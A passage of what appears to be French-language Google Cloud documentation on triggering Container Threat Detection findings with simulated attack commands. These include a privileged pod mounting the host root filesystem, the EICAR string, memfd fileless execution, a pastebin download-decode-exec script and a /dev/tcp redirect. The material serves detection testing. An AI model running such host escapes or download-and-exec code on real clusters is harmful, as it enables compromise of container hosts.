Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un binaire de compilateur tel que gcc10 avec les arguments appropriés :

Nœud x86 :

tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"

Nœud ARM :

tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"

Cette procédure de test crée un résultat Defense Evasion: Launch Code Compiler Tool In Container que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Defense Evasion : Certificat racine installé (bêta)

Pour déclencher une détection de certificat racine installé, créez un fichier de certificat racine sur l'hôte à partir d'un conteneur. Cet exemple déploie la dernière image Ubuntu 24.04, en installant le système de fichiers racine de l'hôte dans le conteneur. Il crée ensuite un fichier de certificat vide dans un répertoire approprié.

Il s'agit d'un détecteur de surveillance des fichiers qui nécessite une version spécifique de GKE.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Installez un fichier de certificat sur l'hôte à partir d'un conteneur.

Nœud x86 :

tag="ktd-test-cert-install-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

Nœud ARM :

tag="ktd-test-cert-install-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Cette procédure de test déclenche un résultat de certificat racine installé que vous pouvez afficher dans Security Command Center et, si vous avez configuré la journalisation pour Container Threat Detection, dans Cloud Logging. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Exécution : binaire malveillant ajouté exécuté

Pour déclencher un résultat "Exécution : fichier binaire malveillant ajouté exécuté", déposez un fichier binaire malveillant dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, crée un fichier malveillant simulé, puis l'exécute. L'exécution du fichier binaire est inattendue, car le fichier binaire malveillant simulé ne fait pas partie de l'image de conteneur d'origine. De plus, il s'agit d'un fichier de test EICAR, qui est classé comme malveillant par les renseignements sur les menaces.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Déposez le fichier binaire EICAR et exécutez-le :

Nœud x86 :

tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

Nœud ARM :

tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

Cette procédure de test doit créer un résultat "Exécution : fichier binaire malveillant ajouté exécuté" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection filtre temporairement les résultats "Exécution : fichier binaire malveillant ajouté exécuté". Pour afficher tous les résultats "Exécution : fichier binaire malveillant ajouté exécuté" lors de la configuration d'un conteneur, préfixez le nom de votre conteneur ou de votre pod avec ktd-test, comme dans l'exemple.

Exécution : fuite du conteneur

Pour déclencher un résultat d'exécution : échappement de conteneur, placez un fichier binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls à un autre emplacement, la renomme en outil suspect (botb-linux-amd64), puis l'exécute avec des arguments supplémentaires. Cette action est considérée comme suspecte, car cette exécution simule un comportement cohérent avec une tentative d'échappement de conteneur.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Déposez un fichier binaire d'outil d'exploitation de conteneur tel que botb-linux-amd64 et exécutez-le :

Nœud x86 :

tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"

Nœud ARM :

tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"

Cette procédure de test doit créer un résultat d'exécution : échappement de conteneur que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : exécution sans fichier dans `/memfd:`

Pour déclencher un résultat Execution: Fileless Execution in /memfd:, un processus doit être exécuté à partir du système de fichiers en mémoire /memfd:. Cet exemple utilise la dernière image Ubuntu 24.04. L'utilitaire /bin/ls est copié dans un fichier anonyme dans /memfd:. Ce fichier binaire copié est ensuite exécuté. L'exécution d'un fichier binaire sous /memfd: est signalée comme suspecte, car elle imite le comportement d'un objet qui tente de s'exécuter en mémoire pour éviter les détections basées sur les fichiers.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Créez un conteneur privilégié et ouvrez bash pour exécuter des commandes :

Nœud x86 :

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:latest \
   "$tag" -- python -c "import os,sys,time

time.sleep(10)
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)"

Nœud ARM :

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import os,sys,time

time.sleep(10)
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)"

Cette procédure de test doit créer un résultat Execution: Fileless Execution in /memfd: que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : exploitation de la faille IngressNightmare

Pour déclencher un résultat d'exécution de la faille Ingress Nightmare (aperçu), exécutez le fichier binaire nginx dans votre conteneur. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls à un autre emplacement, la renomme en binaire Nginx (nginx), puis l'exécute avec des arguments supplémentaires faisant référence au système de fichiers /proc. Cette action est considérée comme suspecte, car elle simule un comportement cohérent avec l'exploitation Ingress Nightmare (CVE-2025-1974), ce qui indique une éventuelle exécution de code à distance.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Créez un binaire Nginx tel que nginx et exécutez-le tout en accédant au système de fichiers /proc :

Nœud x86 :

tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"

Nœud ARM :

tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"

Cette procédure de test crée un résultat d'exécution de la faille "Cauchemar d'entrée" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est possible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : exécution d'un outil d'attaque de Kubernetes

Pour déclencher un résultat d'exécution d'un outil d'attaque Kubernetes, placez un fichier binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls à un autre emplacement, le renomme en outil suspect (amicontained), puis l'exécute. Cette action est considérée comme suspecte, car elle simule un comportement cohérent avec une tentative d'exécution d'un outil d'attaque Kubernetes potentiel.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Déposez un fichier binaire d'outil d'attaque Kubernetes, comme amicontained, et exécutez-le :

Nœud x86 :

tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

Nœud ARM :

tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

Cette procédure de test doit créer un résultat d'exécution : exécution d'un outil d'attaque Kubernetes que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré la journalisation pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : exécution d'un outil de reconnaissance local

Pour déclencher un résultat Execution: Local Reconnaissance Tool Execution, placez un fichier binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls à un autre emplacement, le renomme en outil suspect (linenum.sh), puis l'exécute. Cette action est considérée comme suspecte, car l'exécution du fichier binaire renommé simule un comportement cohérent avec une tentative de reconnaissance locale.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduisez un binaire d'outil de reconnaissance local tel que linenum.sh et exécutez-le :

Nœud x86 :

tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

Nœud ARM :

tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

Cette procédure de test doit créer un résultat d'exécution : outil de reconnaissance local que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : code Python malveillant exécuté

Pour déclencher un résultat d'exécution de code Python malveillant, vous pouvez exécuter Python dans la procédure suivante dans votre conteneur.

La procédure déploie la dernière image Python, copie le code Python qui semble malveillant, puis l'exécute. Pour déclencher une détection, le code Python doit sembler malveillant pour le détecteur.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez le script suivant dans un nouveau conteneur.

Ce code Python provient d'un honeypot. Toutefois, il a été modifié pour ne pas exécuter le binaire malveillant. L'exécution du script n'entraînera aucune activité malveillante dans votre conteneur. Le fichier binaire à l'URL référencée n'existe pas et la tentative d'accès à l'URL génère une erreur 404. Ce comportement est normal. La tentative de télécharger, décoder et exécuter un fichier binaire à l'aide d'un script intégré est ce qui déclenche la détection.

Nœud x86 :

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/python:latest \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

Nœud ARM :

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

Cette procédure de test crée un résultat "Exécution : code Python malveillant exécuté" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré la journalisation pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : binaire malveillant modifié exécuté

Pour déclencher un résultat d'exécution de binaire malveillant modifié, modifiez un fichier binaire malveillant dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, modifie /bin/ls en un fichier malveillant de test EICAR, puis l'exécute. L'exécution du fichier binaire est inattendue, car le fichier /bin/ls créé est modifié lors de l'exécution du conteneur en tant que fichier binaire malveillant de test EICAR. Le fichier binaire EICAR est un fichier malveillant connu selon les renseignements sur les menaces.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Déposez le fichier binaire EICAR et exécutez-le :

Nœud x86 :

tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

Nœud ARM :

tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

Cette procédure de test doit créer un résultat "Exécution : fichier binaire malveillant modifié exécuté" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur, Container Threat Detection filtre temporairement les résultats "Exécution : fichier binaire malveillant modifié exécuté". Pour afficher tous les résultats "Exécution : fichier binaire malveillant modifié exécuté" lors de la configuration d'un conteneur, préfixez le nom de votre conteneur ou de votre pod avec ktd-test, comme dans l'exemple.

Exécution : exécution de code Netcat à distance dans un conteneur

Pour déclencher un événement Execution: Netcat Remote Code Execution In Container, un binaire capable de communiquer sur le réseau (comme netcat lui-même ou une copie renommée d'un autre utilitaire) doit être présent et exécuté dans le conteneur. Cet exemple déploie la dernière image Ubuntu 24.04 comme base. Il copie le binaire /bin/ls et renomme cette copie en netcat (un utilitaire réseau). Ce binaire renommé est ensuite exécuté avec des arguments adaptés à l'interaction réseau. Cette activité est signalée comme suspecte, car elle imite le comportement souvent observé lors de véritables tentatives d'exécution de code à distance dans des environnements conteneurisés.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduisez un binaire d'outil de communication réseau tel que netcat et exécutez-le avec les arguments appropriés :

Nœud x86 :

tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"

Nœud ARM :

tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"

Cette procédure de test doit créer un résultat Execution: Netcat Remote Code Execution In Container que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : exécution possible de commandes arbitraires via CUPS (CVE-2024-47177)

Pour déclencher un résultat Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47177), l'exécution d'un processus shell par foomatic-rip doit avoir lieu. Cet exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/bash dans /tmp/foomatic-rip. Ce binaire renommé et copié est exécuté en tant que script shell pour créer une commande shell enfant. Ce comportement est signalé comme suspect, car il peut indiquer une tentative d'exécution de charges de travail arbitraires sur des systèmes compromis.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez la commande avec les arguments appropriés :

Nœud x86 :

tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu1804:latest \
   "$tag" -- bash -c \
   'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'

Nœud ARM :

tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'

Cette procédure de test crée un résultat Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47177) que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : possible exécution de commande à distance détectée

Pour déclencher un résultat Execution: Possible Remote Command Execution Detected (Aperçu), l'exécution d'une commande ou d'un fichier binaire généralement associé à l'exécution de commandes à distance doit être observée dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/ls et le renomme touch (ou un autre outil comme find). Ce binaire renommé est ensuite exécuté avec des arguments appropriés pour l'exécution de commandes à distance. Ce comportement est signalé comme suspect, car il peut indiquer une tentative d'établir un accès à distance non autorisé vers ou depuis le conteneur.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un binaire tel que touch avec les arguments appropriés :

Nœud x86 :

tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"

Nœud ARM :

tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"

Cette procédure de test crée un résultat Execution: Possible Remote Command Execution Detected que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : exécution d'un programme avec un environnement de proxy HTTP non autorisé

Pour déclencher un résultat Execution: Program Run with Disallowed HTTP Proxy Env, exécutez un programme dans un conteneur en définissant une variable d'environnement de proxy HTTP sur une valeur non autorisée. Cet exemple utilise la dernière image Ubuntu 24.04. L'utilitaire /bin/ls est copié et renommé /tmp/curl. Ce binaire renommé est ensuite exécuté avec une valeur non autorisée définie pour une variable d'environnement de proxy HTTP (par exemple, HTTP_PROXY, http_proxy). La combinaison de l'exécution du programme et de la présence d'un environnement de proxy HTTP non autorisé est signalée comme suspecte, car elle suggère une tentative de communication via un proxy non autorisé.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un fichier binaire compatible avec le réseau, tel que curl, avec une variable d'environnement de proxy HTTP non autorisée :

Nœud x86 :

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

Nœud ARM :

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

Cette procédure de test doit créer un résultat Execution: Program Run with Disallowed HTTP Proxy Env que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : shell inversé de Socat détecté

Pour déclencher un résultat Execution: Socat Reverse Shell Detected, une connexion d'interface système inversée de processus doit être établie par l'utilitaire socat. Cet exemple utilise la dernière image Ubuntu 24.04. L'utilitaire socat est installé, et un écouteur TCP local est créé, puis lié par l'utilitaire socat. L'interface système inversée créée par socat est signalée comme suspecte, car elle permet à un pirate informatique d'exécuter des charges de travail arbitraires sur le système.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Créez un conteneur et ouvrez bash pour exécuter des commandes :

Nœud x86 :

